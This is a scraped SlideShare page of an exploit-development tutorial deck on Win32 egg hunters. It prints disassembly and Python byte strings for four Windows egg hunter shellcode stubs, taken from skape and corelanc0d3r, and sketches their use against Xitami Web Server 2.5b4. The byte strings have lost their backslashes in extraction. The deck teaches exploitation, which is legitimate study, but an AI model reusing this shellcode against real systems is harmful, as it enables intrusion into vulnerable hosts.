SlideShare a Scribd company logo
Exploit Research
Egg Hunter
KERALA CYBER FORCE
WWW.KERALACYBERFORCE.IN
AJIN ABRAHAM
@ajinabraham
@ajinabraham
Why before What !!
Limited Buffer Space
Shellcode
= Broken Shellcode
@ajinabraham
You can’t fill an useful shellcode here
Buffer size is too small.
@ajinabraham
Solution = Egg Hunting
@ajinabraham
SOME TERMS RELATED TO EGG HUNTING
 Tag: A unique string of 4bytes that act as a marker or tag to search and locate
the shellcode.
 Egg: It’s an 8 bytes string formed by combining to tags.
tag+tag+shellcode
 Egg Hunter: Small piece of instructions we fill in the limited buffer, which will
search the entire stack or heap to locate the shellcode by searching for the
tag and finally will execute the shellcode.
 The Egg and the Egg Hunter is also a part of shellcode.
 The bad character restrictions applies to egg hunter instructions too.
@ajinabraham
What is Egg Hunting?
 Egg hunting is a useful exploitation technique implemented to
overcome the deficiency of a small buffer that cannot hold our
lengthy shellcode.
 We might have access to some large buffer in the memory
somewhere else. We will prepend a tag of 4byte length 2 times
forming 8 bytes to our shellcode and place it in the large buffer.
 Now we will fill our small buffer with a jump instruction to the egg
hunter. The egg hunter will then search the stack or the heap for
two consecutive tags and find out the shellcode and execute it.
Egg Hunter
Implementation in
Windows
SEH, IsBadReadPtr, NtDisplayString, NtAccessCheckAndAuditAlarm
@ajinabraham
SEH
 00000000 EB21 jmp short 0x23
00000002 59 pop ecx
00000003 B86C78786C mov eax,0x6C78786C #TAG (lxxl)
00000008 51 push ecx
00000009 6AFF push byte -0x1
0000000B 33DB xor ebx,ebx
0000000D 648923 mov [fs:ebx],esp
00000010 6A02 push byte +0x2
00000012 59 pop ecx
00000013 8BFB mov edi,ebx
00000015 F3AF repe scasd
00000017 7507 jnz 0x20
00000019 FFE7 jmp edi
0000001B 6681CBFF0F or bx,0xfff
00000020 43 inc ebx
00000021 EBED jmp short 0x10
00000023 E8DAFFFFFF call 0x2
00000028 6A0C push byte +0xc
0000002A 59 pop ecx
0000002B 8B040C mov eax,[esp+ecx]
0000002E B1B8 mov cl,0xb8
00000030 83040806 add dword [eax+ecx],byte +0x6
00000034 58 pop eax
00000035 83C410 add esp,byte +0x10
00000038 50 push eax
00000039 33C0 xor eax,eax
0000003B C3 ret
Size: 60 bytes
Targets: Windows 95/98/ME/NT/2000/XP/2003
Egg Size: 8 bytes
The egg hunter is broken into 3 parts
1. Exception handler registration.
2. Egg comparison code.
3. Exception handler.
Credits: skape
@ajinabraham
Shellcode
egghunter = "xebx21x59xb8“
egghunter+=“lxxl“ #tag
egghunter+=("x51x6axffx33xdbx64x89x23x6ax02x59x8bxfb"
"xf3xafx75x07xffxe7x66x81xcbxffx0fx43xeb"
"xedxe8xdaxffxffxffx6ax0cx59x8bx04x0cxb1"
"xb8x83x04x08x06x58x83xc4x10x50x33xc0xc3“)
@ajinabraham
IsBadReadPtr
 00000000 33DB xor ebx,ebx
00000002 6681CBFF0F or bx,0xfff
00000007 43 inc ebx
00000008 6A08 push byte +0x8
0000000A 53 push ebx
0000000B B80D5BE777 mov eax,0x77e75b0d
00000010 FFD0 call eax
00000012 85C0 test eax,eax
00000014 75EC jnz 0x2
00000016 B86C78786C mov eax,0x6C78786C #TAG (lxxl)
0000001B 8BFB mov edi,ebx
0000001D AF scasd
0000001E 75E7 jnz 0x7
00000020 AF scasd
00000021 75E4 jnz 0x7
00000023 FFE7 jmp edi
Size: 37 bytes
Targets: Windows 95/98/ME/NT/2000/XP/2003
Egg Size: 8 bytes
Credits: skape
@ajinabraham
Shellcode
egghunter = ("x33xdbx66x81xcbxffx0fx43x6ax08"
"x53xb8x0dx5bxe7x77xffxd0x85xc0x75xecxb8“)
egghunter+=“lxxl“ #tag
egghunter+="x8bxfbxafx75xe7xafx75xe4xffxe7"
@ajinabraham
NtDisplayString
 00000000 6681CAFF0F or dx,0xfff
00000005 42 inc edx
00000006 52 push edx
00000007 6A43 push byte +0x43
00000009 58 pop eax
0000000A CD2E int 0x2e
0000000C 3C05 cmp al,0x5
0000000E 5A pop edx
0000000F 74EF jz 0x0
00000011 B86C78786C mov eax,0x6C78786C #TAG (lxxl)
00000016 8BFA mov edi,edx
00000018 AF scasd
00000019 75EA jnz 0x5
0000001B AF scasd
0000001C 75E7 jnz 0x5
0000001E FFE7 jmp edi
Size: 32 bytes
Targets: Windows NT/2000/XP/2003
Egg Size: 8 bytes
Credits: skape
@ajinabraham
Shellcode
egghunter="x66x81xCAxFFx0Fx42x52
x6Ax43x58xCDx2Ex3Cx05x5Ax74xEFxB8“
egghunter+=“lxxl“ #Tag
egghunter+="x8BxFAxAFx75xEAxAFx75xE7xFFxE7"
@ajinabraham
NtAccessCheck
AndAuditAlarm
 00000000 6681CAFF0F or dx,0xfff
00000005 42 inc edx
00000006 52 push edx
00000007 6A02 push byte +0x2
00000009 58 pop eax
0000000A CD2E int 0x2e
0000000C 3C05 cmp al,0x5
0000000E 5A pop edx
0000000F 74EF jz 0x0
00000011 B86C78786C mov eax,0x6C78786C #TAG (lxxl)
00000016 8BFA mov edi,edx
00000018 AF scasd
00000019 75EA jnz 0x5
0000001B AF scasd
0000001C 75E7 jnz 0x5
0000001E FFE7 jmp edi
Size: 32 bytes
Targets: Windows NT/2000/XP/2003
Egg Size: 8 bytes
The Difference between NtDisplayString and NtAccessCheckAndAuditAlarm is that
both uses a different syscall to check if an access violation had occurred or not.
@ajinabraham
Shellcode
egghunter = "x66x81xCAxFFx0Fx42x52
x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8“
egghunter+=“lxxl" # TAG
egghunter+= "x8BxFAxAFx75xEAxAFx75xE7xFFxE7"
@ajinabraham
NtDisplayString / NtAccessCheckAndAuditAlarm
6681CAFF0F or dx,0x0fff ; get last address in page
42 inc edx ; acts as a counter (increments the value in EDX)
52 push edx ; pushes edx value to the stack
; (saves our current address on the stack)
6A43 push byte +0x43 ; push 0x43 for NtDisplayString
; or 0x2 for NtAccessCheckAndAuditAlarm to stack
58 pop eax ; pop 0x43 or 0x2 into eax
; so it can be used as parameter to syscall
CD2E int 0x2e ; make a syscall using the previous register
3C05 cmp al,0x5 ; check if access violation occurs
; (0xc0000005== ACCESS_VIOLATION)
5A pop edx ; restore edx
74EF je xxxx ; jmp back to start dx 0x0fffff
B86C78786C mov eax,0x6C78786C ; tag (lxxl)
8BFA mov edi,edx ; set edi to our pointer
AF scasd ; compare for status
75EA jnz xxxxxx ; (back to inc edx) check egg found or not
AF scasd ; when egg has been found
75E7 jnz xxxxx ; (jump back to "inc edx") ; if only the first egg was found
FFE7 jmp edi ; edi points to begin of the shellcode
Credits: corelanc0d3r
@ajinabraham
Limitation of these Egg hunters
 SEH, IsBadReadPtr, NtDisplayString,
NtAccessCheckAndAuditAlarm will work only on
Windows NT/2000/XP/2003
 So for you can’t use this Egg Hunter
implementation for the later build of Windows
like 7 and 8.
@ajinabraham
Lets build up an Exploit
 Software: Xitami Web Server 2.5b4
 Egg Hunter Implementation: NtAccessCheckAndAuditAlarm
(32bytes hunter and 8 bytes egg)
@ajinabraham
Normal EIP overwrite
Shellcode
EIP
ESP
ESP
Need For Egg Hunter
Shellcode
EIP
JMP to ESP
JMP to ESP
@ajinabraham
Egg Hunter Implementation
ESP
JMP to
reach Egg
hunter
EIP
JMP to ESP
Egg +
Shellcode
Jump to some location with enough buffer
Egg
Hunter
Search for Egg, find it and execute shellcode
@ajinabraham
Thank You

More Related Content

What's hot (20)

PDF
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
sanghwan ahn
 
PDF
The Anatomy of an Exploit (NDC TechTown 2019)
Patricia Aas
 
PDF
The Anatomy of an Exploit (CPPP 2019)
Patricia Aas
 
PDF
Zn task - defcon russia 20
DefconRussia
 
PDF
台科逆向簡報
耀德 蔡
 
PDF
Chromium Sandbox on Linux (NDC Security 2019)
Patricia Aas
 
PPTX
Cisco IOS shellcode: All-in-one
DefconRussia
 
PPTX
04 - I love my OS, he protects me (sometimes, in specific circumstances)
Alexandre Moneger
 
PPTX
Exploit Development: EzServer Buffer Overflow oleh Tom Gregory
zakiakhmad
 
PPTX
07 - Bypassing ASLR, or why X^W matters
Alexandre Moneger
 
ODP
Design and implementation_of_shellcodes
Amr Ali
 
PPTX
05 - Bypassing DEP, or why ASLR matters
Alexandre Moneger
 
PDF
Linux Shellcode disassembling
Harsh Daftary
 
PDF
Rop and it's friends
nuc13us
 
PDF
Shellcodes for ARM: Your Pills Don't Work on Me, x86
Svetlana Gaivoronski
 
PPTX
09 - ROP countermeasures, can we fix this?
Alexandre Moneger
 
PDF
iCloud keychain
Alexey Troshichev
 
PDF
ch6-pv2-device-drivers
yushiang fu
 
PDF
The true story_of_hello_world
fantasy zheng
 
PDF
RISC-V : Berkeley Boot Loader & Proxy Kernelのソースコード解析
Mr. Vengineer
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
sanghwan ahn
 
The Anatomy of an Exploit (NDC TechTown 2019)
Patricia Aas
 
The Anatomy of an Exploit (CPPP 2019)
Patricia Aas
 
Zn task - defcon russia 20
DefconRussia
 
台科逆向簡報
耀德 蔡
 
Chromium Sandbox on Linux (NDC Security 2019)
Patricia Aas
 
Cisco IOS shellcode: All-in-one
DefconRussia
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
Alexandre Moneger
 
Exploit Development: EzServer Buffer Overflow oleh Tom Gregory
zakiakhmad
 
07 - Bypassing ASLR, or why X^W matters
Alexandre Moneger
 
Design and implementation_of_shellcodes
Amr Ali
 
05 - Bypassing DEP, or why ASLR matters
Alexandre Moneger
 
Linux Shellcode disassembling
Harsh Daftary
 
Rop and it's friends
nuc13us
 
Shellcodes for ARM: Your Pills Don't Work on Me, x86
Svetlana Gaivoronski
 
09 - ROP countermeasures, can we fix this?
Alexandre Moneger
 
iCloud keychain
Alexey Troshichev
 
ch6-pv2-device-drivers
yushiang fu
 
The true story_of_hello_world
fantasy zheng
 
RISC-V : Berkeley Boot Loader & Proxy Kernelのソースコード解析
Mr. Vengineer
 

Viewers also liked (20)

PDF
Injecting Security into vulnerable web apps at Runtime
Ajin Abraham
 
PPTX
Exploit Research and Development Megaprimer: Buffer overflow for beginners
Ajin Abraham
 
PDF
Efficient Bytecode Analysis: Linespeed Shellcode Detection
Georg Wicherski
 
PDF
Anatomy of A Shell Code, Reverse engineering
Abhineet Ayan
 
PPTX
Java Shellcode Execution
Ryan Wincey
 
PDF
Shellcode and heapspray detection in phoneyc
Z Chen
 
PDF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Michele Orru
 
PPTX
Anton Dorfman. Shellcode Mastering.
Positive Hack Days
 
PDF
Talking about exploit writing
sbha0909
 
PDF
Shellcode Analysis - Basic and Concept
Julia Yu-Chin Cheng
 
PPTX
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
midnite_runr
 
PDF
Hacking school computers for fun profit and better grades short
Vincent Ohprecio
 
PDF
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
Ajin Abraham
 
PDF
One Shellcode to Rule Them All: Cross-Platform Exploitation
Quinn Wilton
 
PPT
Software Exploits
KevinCSmallwood
 
PDF
Shellcode injection
Dhaval Kapil
 
PPT
Writing Metasploit Plugins
amiable_indian
 
PDF
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 
PDF
Low Level Exploits
hughpearse
 
PPTX
Fuzzing | Null OWASP Mumbai | 2016 June
nullowaspmumbai
 
Injecting Security into vulnerable web apps at Runtime
Ajin Abraham
 
Exploit Research and Development Megaprimer: Buffer overflow for beginners
Ajin Abraham
 
Efficient Bytecode Analysis: Linespeed Shellcode Detection
Georg Wicherski
 
Anatomy of A Shell Code, Reverse engineering
Abhineet Ayan
 
Java Shellcode Execution
Ryan Wincey
 
Shellcode and heapspray detection in phoneyc
Z Chen
 
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Michele Orru
 
Anton Dorfman. Shellcode Mastering.
Positive Hack Days
 
Talking about exploit writing
sbha0909
 
Shellcode Analysis - Basic and Concept
Julia Yu-Chin Cheng
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
midnite_runr
 
Hacking school computers for fun profit and better grades short
Vincent Ohprecio
 
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
Ajin Abraham
 
One Shellcode to Rule Them All: Cross-Platform Exploitation
Quinn Wilton
 
Software Exploits
KevinCSmallwood
 
Shellcode injection
Dhaval Kapil
 
Writing Metasploit Plugins
amiable_indian
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 
Low Level Exploits
hughpearse
 
Fuzzing | Null OWASP Mumbai | 2016 June
nullowaspmumbai
 
Ad

Similar to Exploit Research and Development Megaprimer: Win32 Egghunter (17)

PDF
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
PDF
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
PPTX
Exploit Development with Python
Thomas Gregory
 
PPTX
Seh based exploitation
Raghunath G
 
PDF
Dive into exploit development
Payampardaz
 
PDF
2011-03 Developing Windows Exploits
Raleigh ISSA
 
PDF
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
NETWAYS
 
PDF
DEF CON 27 - workshop - JOSH REYNOLDS - from ek to dek slides
Felipe Prado
 
PPTX
Sending a for ahuh. win32 exploit development old school
Nahidul Kibria
 
PDF
Fuzzing: Finding Your Own Bugs and 0days! 1.0
Rodolpho Concurde
 
PDF
Riding the Overflow - Then and Now
Miroslav Stampar
 
PDF
A CTF Hackers Toolbox
Stefan
 
PDF
Download full ebook of Ctfctfallinone Firmianay instant download pdf
bramsdoomsc1
 
PPTX
Secure coding for developers
sluge
 
PDF
Smashing the Buffer
Miroslav Stampar
 
PDF
Riding the Overflow - Then and Now
Miroslav Stampar
 
ODP
Exploiting buffer overflows
Paul Dutot IEng MIET MBCS CITP OSCP CSTM
 
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
Exploit Development with Python
Thomas Gregory
 
Seh based exploitation
Raghunath G
 
Dive into exploit development
Payampardaz
 
2011-03 Developing Windows Exploits
Raleigh ISSA
 
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
NETWAYS
 
DEF CON 27 - workshop - JOSH REYNOLDS - from ek to dek slides
Felipe Prado
 
Sending a for ahuh. win32 exploit development old school
Nahidul Kibria
 
Fuzzing: Finding Your Own Bugs and 0days! 1.0
Rodolpho Concurde
 
Riding the Overflow - Then and Now
Miroslav Stampar
 
A CTF Hackers Toolbox
Stefan
 
Download full ebook of Ctfctfallinone Firmianay instant download pdf
bramsdoomsc1
 
Secure coding for developers
sluge
 
Smashing the Buffer
Miroslav Stampar
 
Riding the Overflow - Then and Now
Miroslav Stampar
 
Exploiting buffer overflows
Paul Dutot IEng MIET MBCS CITP OSCP CSTM
 
Ad

More from Ajin Abraham (20)

PDF
AppSec PNW: Android and iOS Application Security with MobSF
Ajin Abraham
 
PDF
Injecting Security into Web apps at Runtime Whitepaper
Ajin Abraham
 
PPTX
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
Ajin Abraham
 
PDF
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
Ajin Abraham
 
PPTX
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Ajin Abraham
 
PPTX
G4H Webcast: Automated Security Analysis of Mobile Applications with Mobile S...
Ajin Abraham
 
PPTX
Hacking Samsung's Tizen: The OS of Everything - Hack In the Box 2015
Ajin Abraham
 
PDF
Hacking Tizen: The OS of everything - Whitepaper
Ajin Abraham
 
PPTX
Hacking Tizen : The OS of Everything - Nullcon Goa 2015
Ajin Abraham
 
PPTX
Abusing Exploiting and Pwning with Firefox Addons
Ajin Abraham
 
PPTX
Abusing Google Apps and Data API: Google is My Command and Control Center
Ajin Abraham
 
PPTX
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Ajin Abraham
 
PPTX
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
Ajin Abraham
 
PDF
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
Ajin Abraham
 
PDF
Abusing, Exploiting and Pwning with Firefox Add-ons
Ajin Abraham
 
PDF
Xenotix XSS Exploit Framework: Clubhack 2012
Ajin Abraham
 
PDF
Wi-Fi Security with Wi-Fi P+
Ajin Abraham
 
PDF
Shellcoding in linux
Ajin Abraham
 
PPTX
Phishing With Data URI
Ajin Abraham
 
PPTX
Buffer overflow for Beginners
Ajin Abraham
 
AppSec PNW: Android and iOS Application Security with MobSF
Ajin Abraham
 
Injecting Security into Web apps at Runtime Whitepaper
Ajin Abraham
 
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
Ajin Abraham
 
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
Ajin Abraham
 
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Ajin Abraham
 
G4H Webcast: Automated Security Analysis of Mobile Applications with Mobile S...
Ajin Abraham
 
Hacking Samsung's Tizen: The OS of Everything - Hack In the Box 2015
Ajin Abraham
 
Hacking Tizen: The OS of everything - Whitepaper
Ajin Abraham
 
Hacking Tizen : The OS of Everything - Nullcon Goa 2015
Ajin Abraham
 
Abusing Exploiting and Pwning with Firefox Addons
Ajin Abraham
 
Abusing Google Apps and Data API: Google is My Command and Control Center
Ajin Abraham
 
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Ajin Abraham
 
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
Ajin Abraham
 
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
Ajin Abraham
 
Abusing, Exploiting and Pwning with Firefox Add-ons
Ajin Abraham
 
Xenotix XSS Exploit Framework: Clubhack 2012
Ajin Abraham
 
Wi-Fi Security with Wi-Fi P+
Ajin Abraham
 
Shellcoding in linux
Ajin Abraham
 
Phishing With Data URI
Ajin Abraham
 
Buffer overflow for Beginners
Ajin Abraham
 

Recently uploaded (20)

PPTX
I INCLUDED THIS TOPIC IS INTELLIGENCE DEFINITION, MEANING, INDIVIDUAL DIFFERE...
parmarjuli1412
 
PPTX
ENGLISH 8 WEEK 3 Q1 - Analyzing the linguistic, historical, andor biographica...
OliverOllet
 
PPTX
Introduction to pediatric nursing in 5th Sem..pptx
AneetaSharma15
 
PDF
Tips for Writing the Research Title with Examples
Thelma Villaflores
 
PDF
Module 2: Public Health History [Tutorial Slides]
JonathanHallett4
 
PPTX
10CLA Term 3 Week 4 Study Techniques.pptx
mansk2
 
DOCX
Unit 5: Speech-language and swallowing disorders
JELLA VISHNU DURGA PRASAD
 
PPTX
Translation_ Definition, Scope & Historical Development.pptx
DhatriParmar
 
PPTX
Basics and rules of probability with real-life uses
ravatkaran694
 
PDF
EXCRETION-STRUCTURE OF NEPHRON,URINE FORMATION
raviralanaresh2
 
PPTX
Introduction to Probability(basic) .pptx
purohitanuj034
 
PPTX
Cleaning Validation Ppt Pharmaceutical validation
Ms. Ashatai Patil
 
PPTX
HEALTH CARE DELIVERY SYSTEM - UNIT 2 - GNM 3RD YEAR.pptx
Priyanshu Anand
 
PDF
Antianginal agents, Definition, Classification, MOA.pdf
Prerana Jadhav
 
PPTX
TOP 10 AI TOOLS YOU MUST LEARN TO SURVIVE IN 2025 AND ABOVE
digilearnings.com
 
PDF
Stepwise procedure (Manually Submitted & Un Attended) Medical Devices Cases
MUHAMMAD SOHAIL
 
PDF
My Thoughts On Q&A- A Novel By Vikas Swarup
Niharika
 
PPTX
Virus sequence retrieval from NCBI database
yamunaK13
 
PPTX
Rules and Regulations of Madhya Pradesh Library Part-I
SantoshKumarKori2
 
PPTX
LDP-2 UNIT 4 Presentation for practical.pptx
abhaypanchal2525
 
I INCLUDED THIS TOPIC IS INTELLIGENCE DEFINITION, MEANING, INDIVIDUAL DIFFERE...
parmarjuli1412
 
ENGLISH 8 WEEK 3 Q1 - Analyzing the linguistic, historical, andor biographica...
OliverOllet
 
Introduction to pediatric nursing in 5th Sem..pptx
AneetaSharma15
 
Tips for Writing the Research Title with Examples
Thelma Villaflores
 
Module 2: Public Health History [Tutorial Slides]
JonathanHallett4
 
10CLA Term 3 Week 4 Study Techniques.pptx
mansk2
 
Unit 5: Speech-language and swallowing disorders
JELLA VISHNU DURGA PRASAD
 
Translation_ Definition, Scope & Historical Development.pptx
DhatriParmar
 
Basics and rules of probability with real-life uses
ravatkaran694
 
EXCRETION-STRUCTURE OF NEPHRON,URINE FORMATION
raviralanaresh2
 
Introduction to Probability(basic) .pptx
purohitanuj034
 
Cleaning Validation Ppt Pharmaceutical validation
Ms. Ashatai Patil
 
HEALTH CARE DELIVERY SYSTEM - UNIT 2 - GNM 3RD YEAR.pptx
Priyanshu Anand
 
Antianginal agents, Definition, Classification, MOA.pdf
Prerana Jadhav
 
TOP 10 AI TOOLS YOU MUST LEARN TO SURVIVE IN 2025 AND ABOVE
digilearnings.com
 
Stepwise procedure (Manually Submitted & Un Attended) Medical Devices Cases
MUHAMMAD SOHAIL
 
My Thoughts On Q&A- A Novel By Vikas Swarup
Niharika
 
Virus sequence retrieval from NCBI database
yamunaK13
 
Rules and Regulations of Madhya Pradesh Library Part-I
SantoshKumarKori2
 
LDP-2 UNIT 4 Presentation for practical.pptx
abhaypanchal2525
 

Exploit Research and Development Megaprimer: Win32 Egghunter

  • 1. Exploit Research Egg Hunter KERALA CYBER FORCE WWW.KERALACYBERFORCE.IN AJIN ABRAHAM @ajinabraham
  • 2. @ajinabraham Why before What !! Limited Buffer Space Shellcode = Broken Shellcode
  • 3. @ajinabraham You can’t fill an useful shellcode here Buffer size is too small.
  • 5. @ajinabraham SOME TERMS RELATED TO EGG HUNTING  Tag: A unique string of 4bytes that act as a marker or tag to search and locate the shellcode.  Egg: It’s an 8 bytes string formed by combining to tags. tag+tag+shellcode  Egg Hunter: Small piece of instructions we fill in the limited buffer, which will search the entire stack or heap to locate the shellcode by searching for the tag and finally will execute the shellcode.  The Egg and the Egg Hunter is also a part of shellcode.  The bad character restrictions applies to egg hunter instructions too.
  • 6. @ajinabraham What is Egg Hunting?  Egg hunting is a useful exploitation technique implemented to overcome the deficiency of a small buffer that cannot hold our lengthy shellcode.  We might have access to some large buffer in the memory somewhere else. We will prepend a tag of 4byte length 2 times forming 8 bytes to our shellcode and place it in the large buffer.  Now we will fill our small buffer with a jump instruction to the egg hunter. The egg hunter will then search the stack or the heap for two consecutive tags and find out the shellcode and execute it.
  • 7. Egg Hunter Implementation in Windows SEH, IsBadReadPtr, NtDisplayString, NtAccessCheckAndAuditAlarm
  • 8. @ajinabraham SEH  00000000 EB21 jmp short 0x23 00000002 59 pop ecx 00000003 B86C78786C mov eax,0x6C78786C #TAG (lxxl) 00000008 51 push ecx 00000009 6AFF push byte -0x1 0000000B 33DB xor ebx,ebx 0000000D 648923 mov [fs:ebx],esp 00000010 6A02 push byte +0x2 00000012 59 pop ecx 00000013 8BFB mov edi,ebx 00000015 F3AF repe scasd 00000017 7507 jnz 0x20 00000019 FFE7 jmp edi 0000001B 6681CBFF0F or bx,0xfff 00000020 43 inc ebx 00000021 EBED jmp short 0x10 00000023 E8DAFFFFFF call 0x2 00000028 6A0C push byte +0xc 0000002A 59 pop ecx 0000002B 8B040C mov eax,[esp+ecx] 0000002E B1B8 mov cl,0xb8 00000030 83040806 add dword [eax+ecx],byte +0x6 00000034 58 pop eax 00000035 83C410 add esp,byte +0x10 00000038 50 push eax 00000039 33C0 xor eax,eax 0000003B C3 ret Size: 60 bytes Targets: Windows 95/98/ME/NT/2000/XP/2003 Egg Size: 8 bytes The egg hunter is broken into 3 parts 1. Exception handler registration. 2. Egg comparison code. 3. Exception handler. Credits: skape
  • 9. @ajinabraham Shellcode egghunter = "xebx21x59xb8“ egghunter+=“lxxl“ #tag egghunter+=("x51x6axffx33xdbx64x89x23x6ax02x59x8bxfb" "xf3xafx75x07xffxe7x66x81xcbxffx0fx43xeb" "xedxe8xdaxffxffxffx6ax0cx59x8bx04x0cxb1" "xb8x83x04x08x06x58x83xc4x10x50x33xc0xc3“)
  • 10. @ajinabraham IsBadReadPtr  00000000 33DB xor ebx,ebx 00000002 6681CBFF0F or bx,0xfff 00000007 43 inc ebx 00000008 6A08 push byte +0x8 0000000A 53 push ebx 0000000B B80D5BE777 mov eax,0x77e75b0d 00000010 FFD0 call eax 00000012 85C0 test eax,eax 00000014 75EC jnz 0x2 00000016 B86C78786C mov eax,0x6C78786C #TAG (lxxl) 0000001B 8BFB mov edi,ebx 0000001D AF scasd 0000001E 75E7 jnz 0x7 00000020 AF scasd 00000021 75E4 jnz 0x7 00000023 FFE7 jmp edi Size: 37 bytes Targets: Windows 95/98/ME/NT/2000/XP/2003 Egg Size: 8 bytes Credits: skape
  • 12. @ajinabraham NtDisplayString  00000000 6681CAFF0F or dx,0xfff 00000005 42 inc edx 00000006 52 push edx 00000007 6A43 push byte +0x43 00000009 58 pop eax 0000000A CD2E int 0x2e 0000000C 3C05 cmp al,0x5 0000000E 5A pop edx 0000000F 74EF jz 0x0 00000011 B86C78786C mov eax,0x6C78786C #TAG (lxxl) 00000016 8BFA mov edi,edx 00000018 AF scasd 00000019 75EA jnz 0x5 0000001B AF scasd 0000001C 75E7 jnz 0x5 0000001E FFE7 jmp edi Size: 32 bytes Targets: Windows NT/2000/XP/2003 Egg Size: 8 bytes Credits: skape
  • 14. @ajinabraham NtAccessCheck AndAuditAlarm  00000000 6681CAFF0F or dx,0xfff 00000005 42 inc edx 00000006 52 push edx 00000007 6A02 push byte +0x2 00000009 58 pop eax 0000000A CD2E int 0x2e 0000000C 3C05 cmp al,0x5 0000000E 5A pop edx 0000000F 74EF jz 0x0 00000011 B86C78786C mov eax,0x6C78786C #TAG (lxxl) 00000016 8BFA mov edi,edx 00000018 AF scasd 00000019 75EA jnz 0x5 0000001B AF scasd 0000001C 75E7 jnz 0x5 0000001E FFE7 jmp edi Size: 32 bytes Targets: Windows NT/2000/XP/2003 Egg Size: 8 bytes The Difference between NtDisplayString and NtAccessCheckAndAuditAlarm is that both uses a different syscall to check if an access violation had occurred or not.
  • 16. @ajinabraham NtDisplayString / NtAccessCheckAndAuditAlarm 6681CAFF0F or dx,0x0fff ; get last address in page 42 inc edx ; acts as a counter (increments the value in EDX) 52 push edx ; pushes edx value to the stack ; (saves our current address on the stack) 6A43 push byte +0x43 ; push 0x43 for NtDisplayString ; or 0x2 for NtAccessCheckAndAuditAlarm to stack 58 pop eax ; pop 0x43 or 0x2 into eax ; so it can be used as parameter to syscall CD2E int 0x2e ; make a syscall using the previous register 3C05 cmp al,0x5 ; check if access violation occurs ; (0xc0000005== ACCESS_VIOLATION) 5A pop edx ; restore edx 74EF je xxxx ; jmp back to start dx 0x0fffff B86C78786C mov eax,0x6C78786C ; tag (lxxl) 8BFA mov edi,edx ; set edi to our pointer AF scasd ; compare for status 75EA jnz xxxxxx ; (back to inc edx) check egg found or not AF scasd ; when egg has been found 75E7 jnz xxxxx ; (jump back to "inc edx") ; if only the first egg was found FFE7 jmp edi ; edi points to begin of the shellcode Credits: corelanc0d3r
  • 17. @ajinabraham Limitation of these Egg hunters  SEH, IsBadReadPtr, NtDisplayString, NtAccessCheckAndAuditAlarm will work only on Windows NT/2000/XP/2003  So for you can’t use this Egg Hunter implementation for the later build of Windows like 7 and 8.
  • 18. @ajinabraham Lets build up an Exploit  Software: Xitami Web Server 2.5b4  Egg Hunter Implementation: NtAccessCheckAndAuditAlarm (32bytes hunter and 8 bytes egg)
  • 19. @ajinabraham Normal EIP overwrite Shellcode EIP ESP ESP Need For Egg Hunter Shellcode EIP JMP to ESP JMP to ESP
  • 20. @ajinabraham Egg Hunter Implementation ESP JMP to reach Egg hunter EIP JMP to ESP Egg + Shellcode Jump to some location with enough buffer Egg Hunter Search for Egg, find it and execute shellcode